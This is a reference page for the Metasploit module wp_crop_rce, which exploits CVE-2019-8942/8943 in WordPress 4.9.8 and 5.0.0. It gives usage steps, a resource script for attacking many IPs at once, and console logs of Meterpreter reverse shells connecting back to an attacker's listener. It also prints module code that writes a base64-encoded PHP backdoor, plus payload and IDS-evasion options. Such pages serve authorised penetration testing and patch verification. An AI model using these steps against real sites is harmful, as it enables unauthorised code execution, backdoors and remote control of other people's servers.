WordPress Crop-image Shell Upload - Metasploit
This page contains detailed information about how to use the exploit/multi/http/wp_crop_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress Crop-image Shell Upload
Module: exploit/multi/http/wp_crop_rce
Source code: modules/exploits/multi/http/wp_crop_rce.rb
Disclosure date: 2019-02-19
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-8942, CVE-2019-8943
This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using wp_crop_rce against a single host
Normally, you can use exploit/multi/http/wp_crop_rce this way:
msf > use exploit/multi/http/wp_crop_rce
msf exploit(wp_crop_rce) > show targets
... a list of targets ...
msf exploit(wp_crop_rce) > set TARGET target-id
msf exploit(wp_crop_rce) > show options
... show and set options ...
msf exploit(wp_crop_rce) > exploit
Using wp_crop_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your wp_crop_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/wp_crop_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The WordPress username to authenticate with
PASSWORD: The WordPress password to authenticate with
Knowledge Base
On WordPress versions 5.0.0 and <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion. An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server.
Exploitation Steps
- Upload an image containing PHP code
- Edit the
_wp_attached_file
entry frommeta_input
$_POST array to specify an arbitrary path - Perform the Path Traversal by using the
crop-image
Wordpress function - Perform the Local File Inclusion by creating a new WordPress post and set
_wp_page_template
value to the cropped image. The post willinclude()
our image containing PHP code.
When visiting the post created by the attacker it is possible to obtain code execudion.
More details can be found on RIPS Technology Blog.
Verification Steps
Confirm that functionality works:
1. Start msfconsole
2. use exploit/multi/http/wp_crop_rce
3. Set the RHOST
4. Set USERNAME
and PASSWORD
4. Set LHOST
and LPORT
5. Run the exploit: run
6. Confirm you have now a meterpreter session
Scenarios
Ubuntu 18.04 running WordPress 4.9.8
msf5 > use exploit/multi/http/wp_crop_rce
msf5 exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/http/wp_crop_rce) > set username author
username => author
msf5 exploit(multi/http/wp_crop_rce) > set password author
password => author
msf5 exploit(multi/http/wp_crop_rce) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Authenticating with WordPress using author:author...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Checking crop library
[*] Uploading payload
[+] Image uploaded
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux
Go back to menu.
Msfconsole Usage
Here is how the multi/http/wp_crop_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_crop_rce) > show info
Name: WordPress Crop-image Shell Upload
Module: exploit/multi/http/wp_crop_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-02-19
Provided by:
RIPSTECH Technology
Wilfried Becard <[email protected]>
Available targets:
Id Name
-- ----
0 WordPress
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a path traversal and a local file inclusion
vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The
crop-image function allows a user, with at least author privileges,
to resize an image and perform a path traversal by changing the
_wp_attached_file reference during the upload. The second part of
the exploit will include this image in the current theme by changing
the _wp_page_template attribute when creating a post. This exploit
module only works for Unix-based systems currently.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-8942
https://nvd.nist.gov/vuln/detail/CVE-2019-8943
https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
Module Options
This is a complete list of options available in the multi/http/wp_crop_rce exploit:
msf6 exploit(multi/http/wp_crop_rce) > show options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
Advanced Options
Here is a complete list of advanced options supported by the multi/http/wp_crop_rce exploit:
msf6 exploit(multi/http/wp_crop_rce) > show advanced
Module advanced options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/wp_crop_rce module can exploit:
msf6 exploit(multi/http/wp_crop_rce) > show targets
Exploit targets:
Id Name
-- ----
0 WordPress
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/wp_crop_rce exploit:
msf6 exploit(multi/http/wp_crop_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/wp_crop_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/wp_crop_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Failed to access Wordpress page to retrieve theme.
- Failed to retrieve theme
- Unable to reach page to retrieve the ajax nonce
- Unable to retrieve the ajax nonce
- Unable to upload image
- Unable to access page to retrieve filename
- Unable to retrieve file name
- Unable to retrieve the second wpnonce and the post id
- Failed to retrieve post id
- Unable to retrieve response to base64 command
- Can't find base64 decode on target
- Failed to send payload to target
- Failed to receive a response for uploaded file
- Unable to retrieve post nonce
- Unable to retrieve response
- Unable to retrieve nonce
- The target does not appear to be using WordPress
- Failed to authenticate with WordPress
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to access Wordpress page to retrieve theme.
Here is a relevant code snippet related to the "Failed to access Wordpress page to retrieve theme." error message:
101: uri = normalize_uri(datastore['TARGETURI'])
102: res = send_request_cgi!(
103: 'method' => 'GET',
104: 'uri' => uri
105: )
106: fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?
107:
108: theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
109: fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme
110:
111: theme
Failed to retrieve theme
Here is a relevant code snippet related to the "Failed to retrieve theme" error message:
104: 'uri' => uri
105: )
106: fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?
107:
108: theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
109: fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme
110:
111: theme
112: end
113:
114: def get_ajaxnonce(cookie)
Unable to reach page to retrieve the ajax nonce
Here is a relevant code snippet related to the "Unable to reach page to retrieve the ajax nonce" error message:
125: 'query[order]' => 'DESC',
126: 'query[posts_per_page]' => '40',
127: 'query[paged]' => '1'
128: }
129: )
130: fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
131: a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
132: fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce
133:
134: a_nonce
135: end
Unable to retrieve the ajax nonce
Here is a relevant code snippet related to the "Unable to retrieve the ajax nonce" error message:
127: 'query[paged]' => '1'
128: }
129: )
130: fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
131: a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
132: fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce
133:
134: a_nonce
135: end
136:
137: def upload_file(img_name, wp_nonce, cookie)
Unable to upload image
Here is a relevant code snippet related to the "Unable to upload image" error message:
192: 'uri' => upload_uri,
193: 'ctype' => "multipart/form-data; boundary=#{boundary}",
194: 'data' => post_data,
195: 'cookie' => cookie
196: )
197: fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?
198: print_good("Image uploaded")
199: res = JSON.parse(res.body)
200: image_id = res["data"]["id"]
201: update_nonce = res["data"]["nonces"]["update"]
202: filename = res["data"]["filename"]
Unable to access page to retrieve filename
Here is a relevant code snippet related to the "Unable to access page to retrieve filename" error message:
217: 'target' => 'all',
218: 'context' => '',
219: 'do' => 'save'
220: }
221: )
222: fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
223: filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
224: fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename
225:
226: filename << '.jpg'
227: end
Unable to retrieve file name
Here is a relevant code snippet related to the "Unable to retrieve file name" error message:
219: 'do' => 'save'
220: }
221: )
222: fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
223: filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
224: fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename
225:
226: filename << '.jpg'
227: end
228:
229: def change_path(wpnonce2, image_id, filename, current_date, path, cookie)
Unable to retrieve the second wpnonce and the post id
Here is a relevant code snippet related to the "Unable to retrieve the second wpnonce and the post id" error message:
269: 'cookie' => cookie
270: )
271: if res && res.code == 200 && res.body && !res.body.empty?
272: wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first
273: post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first
274: fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id
275:
276: post_title = Rex::Text.rand_text_alpha(10)
277: uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
278: res = send_request_cgi(
279: 'method' => 'POST',
Failed to retrieve post id
Here is a relevant code snippet related to the "Failed to retrieve post id" error message:
286: 'post_title' => post_title,
287: 'post_name' => post_title,
288: 'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
289: }
290: )
291: fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302
292: post_id
293: end
294: end
295:
296: def check_for_base64(cookie, post_id)
Unable to retrieve response to base64 command
Here is a relevant code snippet related to the "Unable to retrieve response to base64 command" error message:
304: 'vars_get' => {
305: 'p' => post_id,
306: '0' => "echo #{test_string} | base64 -d"
307: }
308: )
309: fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?
310:
311: fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
312: # Execute payload with base64 decode
313: @backdoor = Rex::Text.rand_text_alpha(10)
314: encoded = Rex::Text.encode_base64(payload.encoded)
Can't find base64 decode on target
Here is a relevant code snippet related to the "Can't find base64 decode on target" error message:
306: '0' => "echo #{test_string} | base64 -d"
307: }
308: )
309: fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?
310:
311: fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
312: # Execute payload with base64 decode
313: @backdoor = Rex::Text.rand_text_alpha(10)
314: encoded = Rex::Text.encode_base64(payload.encoded)
315: res = send_request_cgi!(
316: 'method' => 'GET',
Failed to send payload to target
Here is a relevant code snippet related to the "Failed to send payload to target" error message:
320: 'p' => post_id,
321: '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
322: }
323: )
324:
325: fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?
326: send_request_cgi(
327: 'method' => 'GET',
328: 'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"),
329: 'cookie' => cookie
330: )
Failed to receive a response for uploaded file
Here is a relevant code snippet related to the "Failed to receive a response for uploaded file" error message:
338: 'uri' => uri,
339: 'cookie' => cookie,
340: 'vars_post' => { 'action' => "query-attachments" }
341: )
342:
343: fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?
344: infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten
345: id1, id2, id3 = infos[0], infos[2], infos[4]
346: delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]
347: for i in (0...6).step(2)
348: res = send_request_cgi(
Unable to retrieve post nonce
Here is a relevant code snippet related to the "Unable to retrieve post nonce" error message:
364: 'cookie' => cookie
365: )
366:
367: if res && res.code == 200 && res.body && !res.body.empty?
368: post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first
369: fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce
370: uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
371:
372: res = send_request_cgi(
373: 'method' => 'GET',
374: 'uri' => uri2,
Unable to retrieve response
Here is a relevant code snippet related to the "Unable to retrieve response" error message:
378: 'action' => 'trash',
379: '_wpnonce' => post_nonce
380: }
381: )
382:
383: fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302
384: res = send_request_cgi(
385: 'method' => 'GET',
386: 'uri' => uri1,
387: 'cookie' => cookie,
388: 'vars_get' => {
Unable to retrieve nonce
Here is a relevant code snippet related to the "Unable to retrieve nonce" error message:
392: }
393: )
394:
395: if res && res.code == 200 && res.body && !res.body.empty?
396: nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first
397: fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce
398:
399: send_request_cgi(
400: 'method' => 'GET',
401: 'uri' => uri2,
402: 'cookie' => cookie,
The target does not appear to be using WordPress
Here is a relevant code snippet related to the "The target does not appear to be using WordPress" error message:
409: end
410: end
411: end
412:
413: def exploit
414: fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
415:
416: print_status("Authenticating with WordPress using #{username}:#{password}...")
417: cookie = wordpress_login(username, password)
418: fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
419: print_good("Authenticated with WordPress")
Failed to authenticate with WordPress
Here is a relevant code snippet related to the "Failed to authenticate with WordPress" error message:
413: def exploit
414: fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
415:
416: print_status("Authenticating with WordPress using #{username}:#{password}...")
417: cookie = wordpress_login(username, password)
418: fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
419: print_good("Authenticated with WordPress")
420: store_valid_credential(user: username, private: password, proof: cookie)
421:
422: print_status("Preparing payload...")
423: @current_theme = get_current_theme
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11587 Merged Pull Request: Wordpress cve 2019 8942
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/wp_ait_csv_rce
- exploit/multi/http/wp_catch_themes_demo_import
- exploit/multi/http/wp_db_backup_rce
- exploit/multi/http/wp_dnd_mul_file_rce
- exploit/multi/http/wp_file_manager_rce
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/multi/http/wp_popular_posts_rce
- exploit/multi/http/wp_responsive_thumbnail_slider_upload
- exploit/multi/http/wp_simple_file_list_rce
- exploit/multi/php/wp_duplicator_code_inject
- exploit/multi/misc/java_jdwp_debugger
- exploit/windows/fileformat/microp_mppl
Related Nessus plugins:
- Debian DSA-4401-1 : wordpress - security update
- Debian DLA-1742-1 : wordpress security update
- WordPress < 5.0.4 Directory Traversal Vulnerability
Authors
- RIPSTECH Technology
- Wilfried Becard <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.